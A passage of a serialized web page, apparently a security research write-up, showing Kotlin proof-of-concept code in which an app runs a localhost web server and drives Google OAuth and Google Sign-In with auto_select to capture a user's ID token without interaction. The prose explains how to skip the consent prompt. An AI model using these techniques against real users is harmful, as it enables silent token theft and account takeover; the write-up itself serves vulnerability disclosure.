8,101932,101936],{"type":22,"tag":118,"props":101897,"children":101898},{"style":125},[101899],{"type":28,"value":72498},{"type":22,"tag":118,"props":101901,"children":101902},{"style":532},[101903],{"type":28,"value":53395},{"type":22,"tag":118,"props":101905,"children":101906},{"style":125},[101907],{"type":28,"value":540},{"type":22,"tag":118,"props":101909,"children":101910},{"style":1866},[101911],{"type":28,"value":72512},{"type":22,"tag":118,"props":101913,"children":101914},{"style":125},[101915],{"type":28,"value":231},{"type":22,"tag":118,"props":101917,"children":101918},{"style":1866},[101919],{"type":28,"value":72578},{"type":22,"tag":118,"props":101921,"children":101922},{"style":146},[101923],{"type":28,"value":36048},{"type":22,"tag":118,"props":101925,"children":101926},{"style":210},[101927],{"type":28,"value":72587},{"type":22,"tag":118,"props":101929,"children":101930},{"style":146},[101931],{"type":28,"value":36080},{"type":22,"tag":118,"props":101933,"children":101934},{"style":1866},[101935],{"type":28,"value":22027},{"type":22,"tag":118,"props":101937,"children":101938},{"style":125},[101939],{"type":28,"value":72600},{"type":22,"tag":118,"props":101941,"children":101942},{"class":120,"line":368},[101943],{"type":22,"tag":118,"props":101944,"children":101945},{"style":125},[101946],{"type":28,"value":1827},{"type":22,"tag":118,"props":101948,"children":101949},{"class":120,"line":384},[101950],{"type":22,"tag":118,"props":101951,"children":101952},{"style":125},[101953],{"type":28,"value":1835},{"type":22,"tag":118,"props":101955,"children":101956},{"class":120,"line":417},[101957],{"type":22,"tag":118,"props":101958,"children":101959},{"emptyLinePlaceholder":15},[101960],{"type":28,"value":250},{"type":22,"tag":118,"props":101962,"children":101963},{"class":120,"line":425},[101964],{"type":22,"tag":118,"props":101965,"children":101966},{"style":257},[101967],{"type":28,"value":72629},{"type":22,"tag":118,"props":101969,"children":101970},{"class":120,"line":441},[101971,101975,101979,101983],{"type":22,"tag":118,"props":101972,"children":101973},{"style":146},[101974],{"type":28,"value":72637},{"type":22,"tag":118,"props":101976,"children":101977},{"style":125},[101978],{"type":28,"value":72642},{"type":22,"tag":118,"props":101980,"children":101981},{"style":210},[101982],{"type":28,"value":282},{"type":22,"tag":118,"props":101984,"children":101985},{"style":1866},[101986],{"type":28,"value":101987}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":118,"props":101989,"children":101990},{"class":120,"line":475},[101991,101995,101999,102003,102007,102011,102015],{"type":22,"tag":118,"props":101992,"children":101993},{"style":146},[101994],{"type":28,"value":72637},{"type":22,"tag":118,"props":101996,"children":101997},{"style":125},[101998],{"type":28,"value":72663},{"type":22,"tag":118,"props":102000,"children":102001},{"style":210},[102002],{"type":28,"value":282},{"type":22,"tag":118,"props":102004,"children":102005},{"style":532},[102006],{"type":28,"value":72672},{"type":22,"tag":118,"props":102008,"children":102009},{"style":125},[102010],{"type":28,"value":72677},{"type":22,"tag":118,"props":102012,"children":102013},{"style":532},[102014],{"type":28,"value":41153},{"type":22,"tag":118,"props":102016,"children":102017},{"style":125},[102018],{"type":28,"value":72686},{"type":22,"tag":118,"props":102020,"children":102021},{"class":120,"line":484},[102022,102026],{"type":22,"tag":118,"props":102023,"children":102024},{"style":532},[102025],{"type":28,"value":72694},{"type":22,"tag":118,"props":102027,"children":102028},{"style":125},[102029],{"type":28,"value":72699},{"type":22,"tag":118,"props":102031,"children":102032},{"class":120,"line":492},[102033],{"type":22,"tag":118,"props":102034,"children":102035},{"style":125},[102036],{"type":28,"value":1254},{"type":22,"tag":118,"props":102038,"children":102039},{"class":120,"line":501},[102040],{"type":22,"tag":118,"props":102041,"children":102042},{"emptyLinePlaceholder":15},[102043],{"type":28,"value":250},{"type":22,"tag":118,"props":102045,"children":102046},{"class":120,"line":519},[102047,102051,102055,102059],{"type":22,"tag":118,"props":102048,"children":102049},{"style":146},[102050],{"type":28,"value":72721},{"type":22,"tag":118,"props":102052,"children":102053},{"style":146},[102054],{"type":28,"value":8216},{"type":22,"tag":118,"props":102056,"children":102057},{"style":532},[102058],{"type":28,"value":72730},{"type":22,"tag":118,"props":102060,"children":102061},{"style":125},[102062],{"type":28,"value":2215},{"type":22,"tag":118,"props":102064,"children":102065},{"class":120,"line":606},[102066,102070,102074,102078,102082],{"type":22,"tag":118,"props":102067,"children":102068},{"style":532},[102069],{"type":28,"value":72742},{"type":22,"tag":118,"props":102071,"children":102072},{"style":125},[102073],{"type":28,"value":72747},{"type":22,"tag":118,"props":102075,"children":102076},{"style":210},[102077],{"type":28,"value":282},{"type":22,"tag":118,"props":102079,"children":102080},{"style":674},[102081],{"type":28,"value":72756},{"type":22,"tag":118,"props":102083,"children":102084},{"style":125},[102085],{"type":28,"value":16783},{"type":22,"tag":118,"props":102087,"children":102088},{"class":120,"line":615},[102089,102093],{"type":22,"tag":118,"props":102090,"children":102091},{"style":532},[102092],{"type":28,"value":72768},{"type":22,"tag":118,"props":102094,"children":102095},{"style":125},[102096],{"type":28,"value":1474},{"type":22,"tag":118,"props":102098,"children":102099},{"class":120,"line":685},[102100,102104,102108,102112],{"type":22,"tag":118,"props":102101,"children":102102},{"style":146},[102103],{"type":28,"value":72780},{"type":22,"tag":118,"props":102105,"children":102106},{"style":125},[102107],{"type":28,"value":540},{"type":22,"tag":118,"props":102109,"children":102110},{"style":1866},[102111],{"type":28,"value":72789},{"type":22,"tag":118,"props":102113,"children":102114},{"style":125},[102115],{"type":28,"value":16783},{"type":22,"tag":118,"props":102117,"children":102118},{"class":120,"line":699},[102119,102123,102127],{"type":22,"tag":118,"props":102120,"children":102121},{"style":125},[102122],{"type":28,"value":72801},{"type":22,"tag":118,"props":102124,"children":102125},{"style":532},[102126],{"type":28,"value":72806},{"type":22,"tag":118,"props":102128,"children":102129},{"style":125},[102130],{"type":28,"value":1474},{"type":22,"tag":118,"props":102132,"children":102133},{"class":120,"line":729},[102134,102138],{"type":22,"tag":118,"props":102135,"children":102136},{"style":532},[102137],{"type":28,"value":72818},{"type":22,"tag":118,"props":102139,"children":102140},{"style":125},[102141],{"type":28,"value":1474},{"type":22,"tag":118,"props":102143,"children":102144},{"class":120,"line":771},[102145,102149,102153,102157,102161],{"type":22,"tag":118,"props":102146,"children":102147},{"style":532},[102148],{"type":28,"value":72830},{"type":22,"tag":118,"props":102150,"children":102151},{"style":125},[102152],{"type":28,"value":72835},{"type":22,"tag":118,"props":102154,"children":102155},{"style":210},[102156],{"type":28,"value":282},{"type":22,"tag":118,"props":102158,"children":102159},{"style":1866},[102160],{"type":28,"value":72844},{"type":22,"tag":118,"props":102162,"children":102163},{"style":125},[102164],{"type":28,"value":3665},{"type":22,"tag":118,"props":102166,"children":102167},{"class":120,"line":785},[102168,102172,102176,102180,102184,102188,102192,102196],{"type":22,"tag":118,"props":102169,"children":102170},{"style":532},[102171],{"type":28,"value":72830},{"type":22,"tag":118,"props":102173,"children":102174},{"style":125},[102175],{"type":28,"value":72860},{"type":22,"tag":118,"props":102177,"children":102178},{"style":210},[102179],{"type":28,"value":282},{"type":22,"tag":118,"props":102181,"children":102182},{"style":1866},[102183],{"type":28,"value":72869},{"type":22,"tag":118,"props":102185,"children":102186},{"style":125},[102187],{"type":28,"value":72874},{"type":22,"tag":118,"props":102189,"children":102190},{"style":210},[102191],{"type":28,"value":282},{"type":22,"tag":118,"props":102193,"children":102194},{"style":1866},[102195],{"type":28,"value":72883},{"type":22,"tag":118,"props":102197,"children":102198},{"style":125},[102199],{"type":28,"value":3665},{"type":22,"tag":118,"props":102201,"children":102202},{"class":120,"line":804},[102203,102207,102211,102215],{"type":22,"tag":118,"props":102204,"children":102205},{"style":532},[102206],{"type":28,"value":72895},{"type":22,"tag":118,"props":102208,"children":102209},{"style":125},[102210],{"type":28,"value":540},{"type":22,"tag":118,"props":102212,"children":102213},{"style":1866},[102214],{"type":28,"value":72904},{"type":22,"tag":118,"props":102216,"children":102217},{"style":125},[102218],{"type":28,"value":3665},{"type":22,"tag":118,"props":102220,"children":102221},{"class":120,"line":812},[102222],{"type":22,"tag":118,"props":102223,"children":102224},{"style":125},[102225],{"type":28,"value":72916},{"type":22,"tag":118,"props":102227,"children":102228},{"class":120,"line":821},[102229,102233],{"type":22,"tag":118,"props":102230,"children":102231},{"style":532},[102232],{"type":28,"value":72924},{"type":22,"tag":118,"props":102234,"children":102235},{"style":125},[102236],{"type":28,"value":1474},{"type":22,"tag":118,"props":102238,"children":102239},{"class":120,"line":900},[102240,102244,102248,102252,102256],{"type":22,"tag":118,"props":102241,"children":102242},{"style":532},[102243],{"type":28,"value":72936},{"type":22,"tag":118,"props":102245,"children":102246},{"style":125},[102247],{"type":28,"value":11584},{"type":22,"tag":118,"props":102249,"children":102250},{"style":210},[102251],{"type":28,"value":3220},{"type":22,"tag":118,"props":102253,"children":102254},{"style":1866},[102255],{"type":28,"value":72949},{"type":22,"tag":118,"props":102257,"children":102258},{"style":125},[102259],{"type":28,"value":11594},{"type":22,"tag":118,"props":102261,"children":102262},{"class":120,"line":913},[102263,102267],{"type":22,"tag":118,"props":102264,"children":102265},{"style":532},[102266],{"type":28,"value":72961},{"type":22,"tag":118,"props":102268,"children":102269},{"style":125},[102270],{"type":28,"value":1474},{"type":22,"tag":118,"props":102272,"children":102273},{"class":120,"line":953},[102274,102278],{"type":22,"tag":118,"props":102275,"children":102276},{"style":210},[102277],{"type":28,"value":72973},{"type":22,"tag":118,"props":102279,"children":102280},{"style":1866},[102281],{"type":28,"value":102282},"\"document.body.innerText = location.hash;\"\n",{"type":22,"tag":118,"props":102284,"children":102285},{"class":120,"line":982},[102286],{"type":22,"tag":118,"props":102287,"children":102288},{"style":125},[102289],{"type":28,"value":72986},{"type":22,"tag":118,"props":102291,"children":102292},{"class":120,"line":995},[102293],{"type":22,"tag":118,"props":102294,"children":102295},{"style":125},[102296],{"type":28,"value":72916},{"type":22,"tag":118,"props":102298,"children":102299},{"class":120,"line":1011},[102300],{"type":22,"tag":118,"props":102301,"children":102302},{"style":125},[102303],{"type":28,"value":1811},{"type":22,"tag":118,"props":102305,"children":102306},{"class":120,"line":1019},[102307],{"type":22,"tag":118,"props":102308,"children":102309},{"style":125},[102310],{"type":28,"value":1819},{"type":22,"tag":118,"props":102312,"children":102313},{"class":120,"line":1028},[102314],{"type":22,"tag":118,"props":102315,"children":102316},{"style":125},[102317],{"type":28,"value":1827},{"type":22,"tag":118,"props":102319,"children":102320},{"class":120,"line":1101},[102321,102325,102329,102333,102337,102341],{"type":22,"tag":118,"props":102322,"children":102323},{"style":125},[102324],{"type":28,"value":73022},{"type":22,"tag":118,"props":102326,"children":102327},{"style":532},[102328],{"type":28,"value":73027},{"type":22,"tag":118,"props":102330,"children":102331},{"style":125},[102332],{"type":28,"value":73032},{"type":22,"tag":118,"props":102334,"children":102335},{"style":210},[102336],{"type":28,"value":282},{"type":22,"tag":118,"props":102338,"children":102339},{"style":146},[102340],{"type":28,"value":1537},{"type":22,"tag":118,"props":102342,"children":102343},{"style":125},[102344],{"type":28,"value":3665},{"type":22,"tag":118,"props":102346,"children":102347},{"class":120,"line":1146},[102348],{"type":22,"tag":118,"props":102349,"children":102350},{"style":125},[102351],{"type":28,"value":1254},{"type":22,"tag":31,"props":102353,"children":102354},{},[102355],{"type":28,"value":102356},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":22,"tag":31,"props":102358,"children":102359},{},[102360,102362,102368],{"type":28,"value":102361},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":22,"tag":114,"props":102363,"children":102365},{"className":102364},[],[102366],{"type":28,"value":102367},"auto_select",{"type":28,"value":102369}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":22,"tag":107,"props":102371,"children":102373},{"className":101729,"code":102372,"language":101731,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[102374],{"type":22,"tag":114,"props":102375,"children":102376},{"__ignoreMap":7},[102377,102404,102423,102430,102449,102460,102471,102502,102525,102572,102579,102586,102593,102633,102644,102651,102658,102677,102700,102711,102730,102745,102756,102776,102787,102804,102830,102854,102861,102872,102884,102897,102905,102913,102920,102927,102935,102943,102951,102959,102967,102975,102983,102990,102997,103005,103013,103021,103028,103035,103043,103050,103071,103079,103086,103093,103104,103128,103140,103157,103164,103171,103179,103187,103195,103223],{"type":22,"tag":118,"props":102378,"children":102379},{"class":120,"line":121},[102380,102384,102388,102392,102396,102400],{"type":22,"tag":118,"props":102381,"children":102382},{"style":146},[102383],{"type":28,"value":72383},{"type":22,"tag":118,"props":102385,"children":102386},{"style":146},[102387],{"type":28,"value":8216},{"type":22,"tag":118,"props":102389,"children":102390},{"style":532},[102391],{"type":28,"value":72392},{"type":22,"tag":118,"props":102393,"children":102394},{"style":125},[102395],{"type":28,"value":72397},{"type":22,"tag":118,"props":102397,"children":102398},{"style":131},[102399],{"type":28,"value":72402},{"type":22,"tag":118,"props":102401,"children":102402},{"style":125},[102403],{"type":28,"value":72407},{"type":22,"tag":118,"props":102405,"children":102406},{"class":120,"line":142},[102407,102411,102415,102419],{"type":22,"tag":118,"props":102408,"children":102409},{"style":146},[102410],{"type":28,"value":72415},{"type":22,"tag":118,"props":102412,"children":102413},{"style":125},[102414],{"type":28,"value":292},{"type":22,"tag":118,"props":102416,"children":102417},{"style":532},[102418],{"type":28,"value":72424},{"type":22,"tag":118,"props":102420,"children":102421},{"style":125},[102422],{"type":28,"value":72429},{"type":22,"tag":118,"props":102424,"children":102425},{"class":120,"line":177},[102426],{"type":22,"tag":118,"props":102427,"children":102428},{"emptyLinePlaceholder":15},[102429],{"type":28,"value":250},{"type":22,"tag":118,"props":102431,"children":102432},{"class":120,"line":195},[102433,102437,102441,102445],{"type":22,"tag":118,"props":102434,"children":102435},{"style":532},[102436],{"type":28,"value":72452},{"type":22,"tag":118,"props":102438,"children":102439},{"style":125},[102440],{"type":28,"value":72457},{"type":22,"tag":118,"props":102442,"children":102443},{"style":532},[102444],{"type":28,"value":72462},{"type":22,"tag":118,"props":102446,"children":102447},{"style":125},[102448],{"type":28,"value":1474},{"type":22,"tag":118,"props":102450,"children":102451},{"class":120,"line":244},[102452,102456],{"type":22,"tag":118,"props":102453,"children":102454},{"style":1480},[102455],{"type":28,"value":72474},{"type":22,"tag":118,"props":102457,"children":102458},{"style":125},[102459],{"type":28,"value":1474},{"type":22,"tag":118,"props":102461,"children":102462},{"class":120,"line":253},[102463,102467],{"type":22,"tag":118,"props":102464,"children":102465},{"style":532},[102466],{"type":28,"value":72486},{"type":22,"tag":118,"props":102468,"children":102469},{"style":125},[102470],{"type":28,"value":2708},{"type":22,"tag":118,"props":102472,"children":102473},{"class":120,"line":263},[102474,102478,102482,102486,102490,102494,102498],{"type":22,"tag":118,"props":102475,"children":102476},{"style":125},[102477],{"type":28,"value":72498},{"type":22,"tag":118,"props":102479,"children":102480},{"style":532},[102481],{"type":28,"value":72503},{"type":22,"tag":118,"props":102483,"children":102484},{"style":125},[102485],{"type":28,"value":540},{"type":22,"tag":118,"props":102487,"children":102488},{"style":1866},[102489],{"type":28,"value":72512},{"type":22,"tag":118,"props":102491,"children":102492},{"style":125},[102493],{"type":28,"value":231},{"type":22,"tag":118,"props":102495,"children":102496},{"style":1866},[102497],{"type":28,"value":72521},{"type":22,"tag":118,"props":102499,"children":102500},{"style":125},[102501],{"type":28,"value":3665},{"type":22,"tag":118,"props":102503,"children":102504},{"class":120,"line":318},[102505,102509,102513,102517,102521],{"type":22,"tag":118,"props":102506,"children":102507},{"style":125},[102508],{"type":28,"value":1611},{"type":22,"tag":118,"props":102510,"children":102511},{"style":146},[102512],{"type":28,"value":50351},{"type":22,"tag":118,"props":102514,"children":102515},{"style":125},[102516],{"type":28,"value":72541},{"type":22,"tag":118,"props":102518,"children":102519},{"style":131},[102520],{"type":28,"value":72546},{"type":22,"tag":118,"props":102522,"children":102523},{"style":125},[102524],{"type":28,"value":16783},{"type":22,"tag":118,"props":102526,"children":102527},{"class":120,"line":351},[102528,102532,102536,102540,102544,102548,102552,102556,102560,102564,102568],{"type":22,"tag":118,"props":102529,"children":102530},{"style":125},[102531],{"type":28,"value":72498},{"type":22,"tag":118,"props":102533,"children":102534},{"style":532},[102535],{"type":28,"value":53395},{"type":22,"tag":118,"props":102537,"children":102538},{"style":125},[102539],{"type":28,"value":540},{"type":22,"tag":118,"props":102541,"children":102542},{"style":1866},[102543],{"type":28,"value":72512},{"type":22,"tag":118,"props":102545,"children":102546},{"style":125},[102547],{"type":28,"value":231},{"type":22,"tag":118,"props":102549,"children":102550},{"style":1866},[102551],{"type":28,"value":72578},{"type":22,"tag":118,"props":102553,"children":102554},{"style":146},[102555],{"type":28,"value":36048},{"type":22,"tag":118,"props":102557,"children":102558},{"style":210},[102559],{"type":28,"value":72587},{"type":22,"tag":118,"props":102561,"children":102562},{"style":146},[102563],{"type":28,"value":36080},{"type":22,"tag":118,"props":102565,"children":102566},{"style":1866},[102567],{"type":28,"value":22027},{"type":22,"tag":118,"props":102569,"children":102570},{"style":125},[102571],{"type":28,"value":72600},{"type":22,"tag":118,"props":102573,"children":102574},{"class":120,"line":359},[102575],{"type":22,"tag":118,"props":102576,"children":102577},{"style":125},[102578],{"type":28,"value":1827},{"type":22,"tag":118,"props":102580,"children":102581},{"class":120,"line":368},[102582],{"type":22,"tag":118,"props":102583,"children":102584},{"style":125},[102585],{"type":28,"value":1835},{"type":22,"tag":118,"props":102587,"children":102588},{"class":120,"line":384},[102589],{"type":22,"tag":118,"props":102590,"children":102591},{"emptyLinePlaceholder":15},[102592],{"type":28,"value":250},{"type":22,"tag":118,"props":102594,"children":102595},{"class":120,"line":417},[102596,102600,102604,102608,102612,102616,102620,102624,102629],{"type":22,"tag":118,"props":102597,"children":102598},{"style":146},[102599],{"type":28,"value":72637},{"type":22,"tag":118,"props":102601,"children":102602},{"style":125},[102603],{"type":28,"value":72663},{"type":22,"tag":118,"props":102605,"children":102606},{"style":210},[102607],{"type":28,"value":282},{"type":22,"tag":118,"props":102609,"children":102610},{"style":532},[102611],{"type":28,"value":72672},{"type":22,"tag":118,"props":102613,"children":102614},{"style":125},[102615],{"type":28,"value":72677},{"type":22,"tag":118,"props":102617,"children":102618},{"style":532},[102619],{"type":28,"value":41153},{"type":22,"tag":118,"props":102621,"children":102622},{"style":125},[102623],{"type":28,"value":540},{"type":22,"tag":118,"props":102625,"children":102626},{"style":1866},[102627],{"type":28,"value":102628},"\"http://localhost:3000\"",{"type":22,"tag":118,"props":102630,"children":102631},{"style":125},[102632],{"type":28,"value":3334},{"type":22,"tag":118,"props":102634,"children":102635},{"class":120,"line":425},[102636,102640],{"type":22,"tag":118,"props":102637,"children":102638},{"style":532},[102639],{"type":28,"value":72694},{"type":22,"tag":118,"props":102641,"children":102642},{"style":125},[102643],{"type":28,"value":72699},{"type":22,"tag":118,"props":102645,"children":102646},{"class":120,"line":441},[102647],{"type":22,"tag":118,"props":102648,"children":102649},{"style":125},[102650],{"type":28,"value":1254},{"type":22,"tag":118,"props":102652,"children":102653},{"class":120,"line":475},[102654],{"type":22,"tag":118,"props":102655,"children":102656},{"emptyLinePlaceholder":15},[102657],{"type":28,"value":250},{"type":22,"tag":118,"props":102659,"children":102660},{"class":120,"line":484},[102661,102665,102669,102673],{"type":22,"tag":118,"props":102662,"children":102663},{"style":146},[102664],{"type":28,"value":72721},{"type":22,"tag":118,"props":102666,"children":102667},{"style":146},[102668],{"type":28,"value":8216},{"type":22,"tag":118,"props":102670,"children":102671},{"style":532},[102672],{"type":28,"value":72730},{"type":22,"tag":118,"props":102674,"children":102675},{"style":125},[102676],{"type":28,"value":2215},{"type":22,"tag":118,"props":102678,"children":102679},{"class":120,"line":492},[102680,102684,102688,102692,102696],{"type":22,"tag":118,"props":102681,"children":102682},{"style":532},[102683],{"type":28,"value":72742},{"type":22,"tag":118,"props":102685,"children":102686},{"style":125},[102687],{"type":28,"value":72747},{"type":22,"tag":118,"props":102689,"children":102690},{"style":210},[102691],{"type":28,"value":282},{"type":22,"tag":118,"props":102693,"children":102694},{"style":674},[102695],{"type":28,"value":72756},{"type":22,"tag":118,"props":102697,"children":102698},{"style":125},[102699],{"type":28,"value":16783},{"type":22,"tag":118,"props":102701,"children":102702},{"class":120,"line":501},[102703,102707],{"type":22,"tag":118,"props":102704,"children":102705},{"style":532},[102706],{"type":28,"value":72768},{"type":22,"tag":118,"props":102708,"children":102709},{"style":125},[102710],{"type":28,"value":1474},{"type":22,"tag":118,"props":102712,"children":102713},{"class":120,"line":519},[102714,102718,102722,102726],{"type":22,"tag":118,"props":102715,"children":102716},{"style":146},[102717],{"type":28,"value":72780},{"type":22,"tag":118,"props":102719,"children":102720},{"style":125},[102721],{"type":28,"value":540},{"type":22,"tag":118,"props":102723,"children":102724},{"style":1866},[102725],{"type":28,"value":72789},{"type":22,"tag":118,"props":102727,"children":102728},{"style":125},[102729],{"type":28,"value":16783},{"type":22,"tag":118,"props":102731,"children":102732},{"class":120,"line":606},[102733,102737,102741],{"type":22,"tag":118,"props":102734,"children":102735},{"style":125},[102736],{"type":28,"value":72801},{"type":22,"tag":118,"props":102738,"children":102739},{"style":532},[102740],{"type":28,"value":72806},{"type":22,"tag":118,"props":102742,"children":102743},{"style":125},[102744],{"type":28,"value":1474},{"type":22,"tag":118,"props":102746,"children":102747},{"class":120,"line":615},[102748,102752],{"type":22,"tag":118,"props":102749,"children":102750},{"style":532},[102751],{"type":28,"value":72818},{"type":22,"tag":118,"props":102753,"children":102754},{"style":125},[102755],{"type":28,"value":1474},{"type":22,"tag":118,"props":102757,"children":102758},{"class":120,"line":685},[102759,102763,102767,102772],{"type":22,"tag":118,"props":102760,"children":102761},{"style":532},[102762],{"type":28,"value":72895},{"type":22,"tag":118,"props":102764,"children":102765},{"style":125},[102766],{"type":28,"value":540},{"type":22,"tag":118,"props":102768,"children":102769},{"style":1866},[102770],{"type":28,"value":102771},"\"Test\"",{"type":22,"tag":118,"props":102773,"children":102774},{"style":125},[102775],{"type":28,"value":3665},{"type":22,"tag":118,"props":102777,"children":102778},{"class":120,"line":699},[102779,102783],{"type":22,"tag":118,"props":102780,"children":102781},{"style":532},[102782],{"type":28,"value":72961},{"type":22,"tag":118,"props":102784,"children":102785},{"style":125},[102786],{"type":28,"value":1474},{"type":22,"tag":118,"props":102788,"children":102789},{"class":120,"line":729},[102790,102795,102799],{"type":22,"tag":118,"props":102791,"children":102792},{"style":125},[102793],{"type":28,"value":102794},"                                src ",{"type":22,"tag":118,"props":102796,"children":102797},{"style":210},[102798],{"type":28,"value":282},{"type":22,"tag":118,"props":102800,"children":102801},{"style":1866},[102802],{"type":28,"value":102803}," \"https://accounts.google.com/gsi/client\"\n",{"type":22,"tag":118,"props":102805,"children":102806},{"class":120,"line":771},[102807,102812,102817,102821,102825],{"type":22,"tag":118,"props":102808,"children":102809},{"style":125},[102810],{"type":28,"value":102811},"                                attributes[",{"type":22,"tag":118,"props":102813,"children":102814},{"style":1866},[102815],{"type":28,"value":102816},"\"async\"",{"type":22,"tag":118,"props":102818,"children":102819},{"style":125},[102820],{"type":28,"value":10663},{"type":22,"tag":118,"props":102822,"children":102823},{"style":210},[102824],{"type":28,"value":282},{"type":22,"tag":118,"props":102826,"children":102827},{"style":1866},[102828],{"type":28,"value":102829}," \"\"\n",{"type":22,"tag":118,"props":102831,"children":102832},{"class":120,"line":785},[102833,102837,102842,102846,102850],{"type":22,"tag":118,"props":102834,"children":102835},{"style":125},[102836],{"type":28,"value":102811},{"type":22,"tag":118,"props":102838,"children":102839},{"style":1866},[102840],{"type":28,"value":102841},"\"defer\"",{"type":22,"tag":118,"props":102843,"children":102844},{"style":125},[102845],{"type":28,"value":10663},{"type":22,"tag":118,"props":102847,"children":102848},{"style":210},[102849],{"type":28,"value":282},{"type":22,"tag":118,"props":102851,"children":102852},{"style":1866},[102853],{"type":28,"value":102829},{"type":22,"tag":118,"props":102855,"children":102856},{"class":120,"line":804},[102857],{"type":22,"tag":118,"props":102858,"children":102859},{"style":125},[102860],{"type":28,"value":72986},{"type":22,"tag":118,"props":102862,"children":102863},{"class":120,"line":812},[102864,102868],{"type":22,"tag":118,"props":102865,"children":102866},{"style":532},[102867],{"type":28,"value":72961},{"type":22,"tag":118,"props":102869,"children":102870},{"style":125},[102871],{"type":28,"value":1474},{"type":22,"tag":118,"props":102873,"children":102874},{"class":120,"line":821},[102875,102880],{"type":22,"tag":118,"props":102876,"children":102877},{"style":532},[102878],{"type":28,"value":102879},"                                unsafe",{"type":22,"tag":118,"props":102881,"children":102882},{"style":125},[102883],{"type":28,"value":1474},{"type":22,"tag":118,"props":102885,"children":102886},{"class":120,"line":900},[102887,102892],{"type":22,"tag":118,"props":102888,"children":102889},{"style":210},[102890],{"type":28,"value":102891},"                                    +",{"type":22,"tag":118,"props":102893,"children":102894},{"style":1866},[102895],{"type":28,"value":102896},"\"\"\"\n",{"type":22,"tag":118,"props":102898,"children":102899},{"class":120,"line":913},[102900],{"type":22,"tag":118,"props":102901,"children":102902},{"style":1866},[102903],{"type":28,"value":102904},"    function handleCredentialResponse(response) {\n",{"type":22,"tag":118,"props":102906,"children":102907},{"class":120,"line":953},[102908],{"type":22,"tag":118,"props":102909,"children":102910},{"style":1866},[102911],{"type":28,"value":102912},"      alert(\"credential: \" + response.credential);\n",{"type":22,"tag":118,"props":102914,"children":102915},{"class":120,"line":982},[102916],{"type":22,"tag":118,"props":102917,"children":102918},{"style":1866},[102919],{"type":28,"value":1254},{"type":22,"tag":118,"props":102921,"children":102922},{"class":120,"line":995},[102923],{"type":22,"tag":118,"props":102924,"children":102925},{"emptyLinePlaceholder":15},[102926],{"type":28,"value":250},{"type":22,"tag":118,"props":102928,"children":102929},{"class":120,"line":1011},[102930],{"type":22,"tag":118,"props":102931,"children":102932},{"style":1866},[102933],{"type":28,"value":102934},"    window.onload = async function () {\n",{"type":22,"tag":118,"props":102936,"children":102937},{"class":120,"line":1019},[102938],{"type":22,"tag":118,"props":102939,"children":102940},{"style":1866},[102941],{"type":28,"value":102942},"      const oauth_url = new 